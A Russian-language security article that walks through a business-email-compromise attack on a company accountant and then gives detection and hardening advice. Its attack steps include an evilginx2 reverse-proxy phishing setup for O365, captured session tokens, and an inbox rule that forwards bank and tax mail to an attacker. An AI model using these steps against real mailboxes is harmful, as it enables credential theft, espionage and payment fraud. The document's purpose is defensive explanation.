Короткая версия истории уже разошлась: директор был уверен, что антивирус закрывает вопрос безопасности, а в почте главбуха четыре месяца сидел посторонний. Здесь — техническая изнанка: как именно устроена такая атака, почему она невидима для стандартных сканеров и что конкретно чинить, если узнаёте себя в этом описании.
Кстати, механика один в один совпадает с недавно раскрытой шпионской кампанией SilkParasite, которая скомпрометировала государственные структуры пяти стран через один-единственный украденный пароль. Разница только в масштабе цели, техника — идентична. Это не экзотика уровня спецслужб, это рабочий инструмент любого фишера с бюджетом в пару тысяч рублей на хостинг.
Как это эксплуатируется
Шаг 1. Разведка. Атакующему не нужен доступ к сети компании — достаточно публичных данных. Он собирает адреса сотрудников и понимает, каким почтовым сервисом пользуется компания (Google Workspace, Microsoft 365, собственный Exchange/OWA).
$ nmap -p 25,80,443,993,995 -sV mail.company-example.ru
PORT STATE SERVICE VERSION
443/tcp open https Microsoft-IIS/10.0 (OWA/Exchange 2019)
993/tcp open imaps Dovecot imapd
$ curl -s -I https://mail.company-example.ru/owa
HTTP/1.1 200 OK
X-Powered-By: ASP.NET
X-OWA-Version: 15.2.1258.28Заголовок сразу выдаёт версию Exchange — по ней легко проверить, закрыты ли известные уязвимости (например, семейство ProxyShell/ProxyNotShell CVE-2021-34473, CVE-2022-41082), но для этой конкретной схемы эксплойт даже не нужен: проще украсть пароль, чем ломать сервер.
Шаг 2. Инфраструктура фишинга. Атакующий разворачивает clone-страницу входа. Для этого сегодня чаще всего используют не «статичный» HTML-клон, а reverse-proxy фишинг-киты, которые прозрачно проксируют реальную форму входа и перехватывают не только пароль, но и сессионный токен — это позволяет обходить одноразовые коды 2FA, если она включена не везде.
$ git clone https://github.com/kgretzky/evilginx2
$ cd evilginx2 && make
$ ./evilginx2
: config domain mail-secure-login.ru
: config ip 185.220.xx.xx
: phishlets hostname o365 mail-secure-login.ru
: phishlets enable o365
: lures create o365
: lures get-url 0
[+] https://login.mail-secure-login.ru/a1b2c3Домен регистрируется похожим на официальный (mail-secure-login.ru, nalog-lk-verify.ru и т.п.), выпускается бесплатный TLS-сертификат — визуально форма неотличима от настоящей, замок в браузере на месте.
Шаг 3. Доставка письма. Массовая рассылка через легитимные SMTP-релеи с подделкой отправителя, если у домена жертвы не настроены SPF/DKIM/DMARC:
$ dig txt company-example.ru | grep spf
company-example.ru. 3600 IN TXT "v=spf1 include:_spf.company-mail.ru ~all"
$ dig txt _dmarc.company-example.ru
;; NXDOMAIN — записи DMARC нетОтсутствие DMARC-политики (p=reject/quarantine) означает, что письмо якобы от ФНС или от банка не будет отбраковано почтовым сервером получателя — оно спокойно долетит.
Шаг 4. Харвестинг учётки. Сотрудник вводит логин и пароль на фишинг-странице, evilginx2 в реальном времени перехватывает и учётные данные, и cookie сессии:
[10:41:02] [o365] Session captured!
Username: [email protected]
Password: **************
Tokens: ESTSAUTHPERSISTENT, SignInStateCookie captured
[+] Session saved to sessions/o365_143.jsonС этим токеном атакующий заходит в почту без пароля и без запроса второго фактора — сессия уже «залогинена».
Шаг 5. Закрепление и скрытность. Первым делом создаётся скрытое правило пересылки или папка-фильтр, чтобы не мозолить глаза в «Входящих» и не спалиться, если жертва сменит пароль вручную:
# PowerShell, если это Exchange Online — так это выглядит в логах администратора
New-InboxRule -Mailbox [email protected] -Name "RSS" `
-From "*bank*","*налог*" -ForwardTo "[email protected]" -StopProcessingRules $trueИменно такие правила и создают эффект «письмо помечено прочитанным раньше, чем сотрудник его открыл» — на самом деле его открывает автоматика пересылки или сам атакующий через IMAP-клиент.
Полутехнические пруфы: на что смотреть в логах
- Вход с чужого IP/страны с интервалом «раз в неделю» на протяжении месяцев — типичный паттерн разведывательного шпионажа, а не разового слива данных.
- User-Agent входа не совпадает с обычным (например, вместо Outlook/Mac появляется python-requests или сторонний IMAP-клиент типа Thunderbird на незнакомой ОС).
- Отсутствие MFA-запроса при входе с нового устройства — признак либо отключённой 2FA, либо кражи сессионного токена в обход неё (reverse-proxy фишинг).
- Незнакомые правила пересылки/фильтрации в почтовом ящике — проверяются командой
Get-InboxRule -Mailbox [email protected]в Exchange Online или разделом «Пересылка и POP/IMAP» в Google Workspace. - Активные приложения/токены OAuth, выданные неизвестным сторонним сервисам —
Get-AzureADPSPermissionGrantили раздел «Мои приложения» в Google-аккаунте.
Что и почему сработало бы дальше
Чтение переписки — это не финал атаки, а разведка перед основным ударом. Имея доступ к почте бухгалтера, злоумышленник обычно двигается дальше:
- BEC-мошенничество (business email compromise): зная реальные суммы, реквизиты и стиль переписки с банком, атакующий отправляет письмо от имени директора с просьбой срочно оплатить счёт на «новые реквизиты» — сумма подделки обычно совпадает с реальной сделкой, что резко снижает подозрения.
- Кража коммерческих условий: именно так и произошло в этой истории — клиент ушёл к конкуренту с точно теми же условиями, что обсуждались только в переписке.
- Компрометация банк-клиента: если в переписке фигурируют логины/токены для системы дистанционного банковского обслуживания, следующий шаг — попытка входа туда же с теми же паролями (типовая проблема — переиспользование паролей между сервисами).
- Латеральное движение по учёткам: из скомпрометированной почты рассылается уже «доверенный» фишинг коллегам — письмо от реального адреса главбуха с вложением открывают почти все.
Как закрыть
Технически всё закрывается не «серебряной пулей», а набором элементарных мер, ни одна из которых не требует бюджета на новый софт:
- Включить MFA с привязкой к устройству, а не только к SMS/коду: лучше приложение-аутентификатор или аппаратный ключ (FIDO2), поскольку reverse-proxy фишинг обходит SMS/TOTP, но не физический ключ.
- Отключить legacy-аутентификацию, которая часто разрешает вход по паролю в обход MFA:
# Microsoft 365 — блокируем базовую аутентификацию Set-AuthenticationPolicy -Identity "Block Basic Auth" -AllowBasicAuthImap $false -AllowBasicAuthPop $false - Настроить условный доступ по геолокации и устройству — блокировать или требовать доп. подтверждение при входе из стран, где компания не работает.
- Провести аудит правил пересылки и OAuth-приложений во всех ящиках с доступом к финансам и удалить всё незнакомое:
Get-Mailbox | Get-InboxRule | Where-Object {$_.ForwardTo -ne $null} - Настроить SPF, DKIM и DMARC с политикой quarantine/reject, чтобы поддельные письма «от банка» и «от налоговой» не долетали до сотрудников:
_dmarc.company-example.ru. TXT "v=DMARC1; p=quarantine; rua=mailto:[email protected]" - Принудительно отозвать все активные сессии после смены пароля — иначе украденный токен остаётся рабочим, даже если пароль уже другой:
Revoke-AzureADUserAllRefreshToken -ObjectId - Отключать доступ уволенных сотрудников и подрядчиков сразу, а не «когда вспомнят» — как показала практика этого кейса, забытые активные учётки живут месяцами и годами.
- Провести короткое обучение сотрудников распознаванию фишинга: проверка домена в адресной строке, наведение курсора на ссылку перед кликом, недоверие к «срочным» запросам подтвердить данные.
Ничего из перечисленного не требует закупки дорогого софта или выделенного штата безопасников. Это конфигурация того, что уже есть в подписке на почтовый сервис, плюс один рабочий день на аудит и настройку. Дешевле, чем даже одна сорванная сделка — не говоря уже о риске, что через ту же дыру утекут данные по всем клиентам сразу.